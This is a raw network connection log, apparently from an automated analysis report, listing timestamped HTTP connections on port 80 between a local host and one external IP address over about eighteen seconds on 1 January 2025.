Jan 1, 2025 16:05:11.713061094 CET	80	62892	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:11.766994953 CET	62892	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:12.023648024 CET	80	62892	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:12.082681894 CET	62892	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:12.086157084 CET	62892	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:12.086615086 CET	62893	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:12.091128111 CET	80	62892	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:12.091217041 CET	62892	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:12.091392040 CET	80	62893	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:12.091573000 CET	62893	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:12.091658115 CET	62893	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:12.096673965 CET	80	62893	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:12.137187004 CET	62893	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:12.139879942 CET	62894	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:12.145136118 CET	80	62894	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:12.150830984 CET	62894	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:12.150887966 CET	62894	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:12.155679941 CET	80	62894	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:12.186934948 CET	80	62893	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:12.494358063 CET	80	62893	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:12.494409084 CET	62893	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:12.501528025 CET	62894	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:12.506407976 CET	80	62894	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:12.623596907 CET	80	62894	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:12.673254967 CET	62894	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:12.875524998 CET	80	62894	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:12.923244953 CET	62894	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:12.997937918 CET	62894	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:12.998810053 CET	62895	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:13.002932072 CET	80	62894	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:13.002979994 CET	62894	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:13.003758907 CET	80	62895	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:13.003829956 CET	62895	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:13.003923893 CET	62895	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:13.008686066 CET	80	62895	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:13.360821962 CET	62895	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:13.365735054 CET	80	62895	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:13.468612909 CET	80	62895	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:13.611299038 CET	62895	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:13.653110027 CET	80	62895	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:13.769422054 CET	62895	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:13.782705069 CET	62896	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:13.787686110 CET	80	62896	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:13.790781021 CET	62896	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:13.791057110 CET	62896	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:13.795864105 CET	80	62896	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:14.142108917 CET	62896	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:14.147062063 CET	80	62896	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:14.235136032 CET	80	62896	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:14.362690926 CET	62896	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:14.406259060 CET	80	62896	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:14.454504013 CET	62896	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:14.542582035 CET	62895	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:14.548063993 CET	62896	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:14.549911976 CET	62897	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:14.553102970 CET	80	62896	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:14.553155899 CET	62896	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:14.554775000 CET	80	62897	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:14.554831982 CET	62897	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:14.558255911 CET	62897	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:14.563076019 CET	80	62897	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:14.907723904 CET	62897	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:14.912539959 CET	80	62897	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:15.018521070 CET	80	62897	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:15.063874960 CET	62897	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:15.275331974 CET	80	62897	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:15.329503059 CET	62897	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:15.389225006 CET	62897	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:15.389547110 CET	62898	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:15.394224882 CET	80	62897	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:15.394279003 CET	62897	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:15.394433022 CET	80	62898	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:15.394496918 CET	62898	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:15.394612074 CET	62898	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:15.399386883 CET	80	62898	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:15.753657103 CET	62898	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:15.758533955 CET	80	62898	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:15.834726095 CET	80	62898	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:15.878695965 CET	62898	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:16.022970915 CET	80	62898	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:16.066696882 CET	62898	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:16.138523102 CET	62898	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:16.138565063 CET	62899	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:16.143461943 CET	80	62899	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:16.143573999 CET	80	62898	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:16.143594027 CET	62899	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:16.143752098 CET	62899	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:16.143754959 CET	62898	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:16.148587942 CET	80	62899	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:16.501832962 CET	62899	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:16.506674051 CET	80	62899	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:16.587795973 CET	80	62899	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:16.642003059 CET	62899	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:16.764046907 CET	80	62899	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:16.813901901 CET	62899	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:16.897473097 CET	62899	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:16.898267984 CET	62900	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:16.902489901 CET	80	62899	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:16.902545929 CET	62899	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:16.903172016 CET	80	62900	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:16.903243065 CET	62900	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:16.903345108 CET	62900	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:16.908051014 CET	80	62900	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:17.142627954 CET	62900	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:17.143404007 CET	62901	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:17.148297071 CET	80	62901	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:17.148366928 CET	62901	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:17.148456097 CET	62901	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:17.153235912 CET	80	62901	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:17.190970898 CET	80	62900	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:17.256684065 CET	80	62900	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:17.256803989 CET	62900	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:17.266370058 CET	62902	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:17.271292925 CET	80	62902	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:17.271358967 CET	62902	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:17.271456003 CET	62902	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:17.276235104 CET	80	62902	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:17.501528025 CET	62901	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:17.506429911 CET	80	62901	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:17.506484985 CET	80	62901	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:17.600622892 CET	80	62901	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:17.626548052 CET	62902	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:17.631479025 CET	80	62902	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:17.642025948 CET	62901	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:17.736808062 CET	80	62902	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:17.772121906 CET	80	62901	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:17.782702923 CET	62902	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:17.813901901 CET	62901	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:17.994179010 CET	80	62902	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:18.048403978 CET	62902	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:18.106304884 CET	62901	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:18.106503963 CET	62902	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:18.110688925 CET	62903	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:18.111413002 CET	80	62901	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:18.111670971 CET	62901	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:18.111718893 CET	80	62902	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:18.111787081 CET	62902	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:18.115550995 CET	80	62903	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:18.115628958 CET	62903	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:18.115751982 CET	62903	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:18.120543003 CET	80	62903	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:18.470345020 CET	62903	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:18.477426052 CET	80	62903	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:18.580741882 CET	80	62903	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:18.624722004 CET	62903	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:18.847147942 CET	80	62903	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:18.892014980 CET	62903	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:18.970846891 CET	62904	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:18.975745916 CET	80	62904	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:18.975810051 CET	62904	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:18.975955963 CET	62904	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:18.980777025 CET	80	62904	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:19.329655886 CET	62904	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:19.334611893 CET	80	62904	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:19.439361095 CET	80	62904	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:19.486696959 CET	62904	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:19.803850889 CET	80	62904	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:19.846707106 CET	62904	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:19.919677019 CET	62904	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:19.919698000 CET	62905	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:19.924581051 CET	80	62905	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:19.924659967 CET	62905	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:19.924673080 CET	80	62904	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:19.924721003 CET	62904	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:19.924866915 CET	62905	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:19.929660082 CET	80	62905	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:20.283097982 CET	62905	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:20.287996054 CET	80	62905	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:20.368628979 CET	80	62905	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:20.423268080 CET	62905	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:20.632282019 CET	80	62905	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:20.673280001 CET	62905	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:20.750880957 CET	62905	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:20.752012968 CET	62906	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:20.755851030 CET	80	62905	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:20.755908966 CET	62905	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:20.756828070 CET	80	62906	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:20.756921053 CET	62906	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:20.757061005 CET	62906	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:20.761769056 CET	80	62906	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:21.110872984 CET	62906	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:21.115799904 CET	80	62906	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:21.201152086 CET	80	62906	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:21.251405954 CET	62906	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:21.375013113 CET	80	62906	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:21.424715996 CET	62906	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:21.497174978 CET	62906	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:21.497939110 CET	62907	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:21.502258062 CET	80	62906	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:21.502361059 CET	62906	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:21.502804041 CET	80	62907	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:21.502901077 CET	62907	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:21.503000975 CET	62907	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:21.507812977 CET	80	62907	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:21.870722055 CET	62907	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:21.875598907 CET	80	62907	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:21.951795101 CET	80	62907	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:22.001414061 CET	62907	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:22.129998922 CET	80	62907	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:22.173302889 CET	62907	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:22.247096062 CET	62907	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:22.250720024 CET	62908	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:22.252156019 CET	80	62907	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:22.252291918 CET	62907	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:22.255922079 CET	80	62908	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:22.258771896 CET	62908	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:22.258938074 CET	62908	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:22.263734102 CET	80	62908	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:22.611027002 CET	62908	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:22.616025925 CET	80	62908	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:22.784152985 CET	62908	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:22.784691095 CET	62909	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:22.885637999 CET	80	62908	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:22.885710955 CET	62908	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:22.886019945 CET	80	62909	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:22.886085987 CET	62909	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:22.886142969 CET	80	62908	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:22.886208057 CET	62908	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:22.886308908 CET	62909	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:22.891155958 CET	80	62909	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:22.909704924 CET	62910	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:22.914577961 CET	80	62910	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:22.914649963 CET	62910	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:22.914764881 CET	62910	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:22.919503927 CET	80	62910	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:23.235945940 CET	62909	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:23.240962029 CET	80	62909	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:23.240982056 CET	80	62909	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:23.267116070 CET	62910	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:23.272648096 CET	80	62910	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:23.331127882 CET	80	62909	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:23.367285013 CET	80	62910	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:23.376418114 CET	62909	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:23.407672882 CET	62910	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:23.506022930 CET	80	62909	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:23.533436060 CET	80	62910	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:23.550756931 CET	62909	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:23.579571962 CET	62910	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:23.655251026 CET	62909	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:23.655309916 CET	62910	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:23.657522917 CET	62911	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:23.660262108 CET	80	62909	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:23.660417080 CET	62909	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:23.660492897 CET	80	62910	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:23.660788059 CET	62910	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:23.662410975 CET	80	62911	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:23.662611008 CET	62911	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:23.662858009 CET	62911	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:23.667674065 CET	80	62911	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:24.017666101 CET	62911	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:24.023143053 CET	80	62911	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:24.116296053 CET	80	62911	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:24.157721043 CET	62911	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:24.379453897 CET	80	62911	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:24.423321009 CET	62911	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:24.503950119 CET	62911	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:24.505165100 CET	62912	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:24.509020090 CET	80	62911	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:24.509077072 CET	62911	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:24.509970903 CET	80	62912	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:24.510040998 CET	62912	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:24.510246038 CET	62912	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:24.515122890 CET	80	62912	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:24.860953093 CET	62912	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:24.865912914 CET	80	62912	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:24.955985069 CET	80	62912	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:25.001436949 CET	62912	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:25.231698990 CET	80	62912	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:25.282696009 CET	62912	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:25.363751888 CET	62913	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:25.369616985 CET	80	62913	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:25.369781971 CET	62913	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:25.369966984 CET	62913	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:25.375720978 CET	80	62913	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:25.720323086 CET	62913	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:25.725265980 CET	80	62913	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:25.832030058 CET	80	62913	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:25.878726959 CET	62913	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:26.084997892 CET	80	62913	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:26.126739025 CET	62913	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:26.175348043 CET	80	62913	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:26.220335007 CET	62913	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:26.310745955 CET	62913	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:26.310753107 CET	62914	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:26.315637112 CET	80	62914	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:26.315829039 CET	80	62913	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:26.316003084 CET	62913	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:26.316004038 CET	62914	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:26.316215992 CET	62914	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:26.321177959 CET	80	62914	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:26.673517942 CET	62914	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:26.675513983 CET	62912	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:26.678340912 CET	80	62914	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:26.780392885 CET	80	62914	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:26.829557896 CET	62914	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:27.039906025 CET	80	62914	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:27.095164061 CET	62914	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:27.155194998 CET	62914	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:27.155904055 CET	62915	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:27.160290956 CET	80	62914	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:27.160350084 CET	62914	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:27.160672903 CET	80	62915	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:27.160731077 CET	62915	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:27.160826921 CET	62915	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:27.165553093 CET	80	62915	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:27.518742085 CET	62915	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:27.523699999 CET	80	62915	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:27.626554966 CET	80	62915	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:27.674736977 CET	62915	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:27.812926054 CET	80	62915	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:27.860811949 CET	62915	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:27.938730955 CET	62915	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:27.939141989 CET	62916	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:27.943804979 CET	80	62915	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:27.943952084 CET	80	62916	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:27.946800947 CET	62915	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:27.946800947 CET	62916	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:27.950764894 CET	62916	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:27.955640078 CET	80	62916	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:28.393834114 CET	80	62916	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:28.438957930 CET	62916	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:28.470381021 CET	62916	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:28.475203991 CET	80	62916	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:28.594006062 CET	62917	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:28.594655037 CET	62916	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:28.598931074 CET	80	62917	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:28.599003077 CET	62917	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:28.599184990 CET	62917	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:28.599647045 CET	80	62916	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:28.599692106 CET	62916	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:28.603990078 CET	80	62917	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:28.735966921 CET	62918	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:28.741832018 CET	80	62918	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:28.741909027 CET	62918	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:28.742008924 CET	62918	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:28.746917963 CET	80	62918	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:28.954689980 CET	62917	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:05:28.959624052 CET	80	62917	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:28.959784985 CET	80	62917	104.21.38.84	192.168.2.6
Jan 1, 2025 16:05:29.047080994 CET	80	62917	104.21.38.84	192.168.2.6
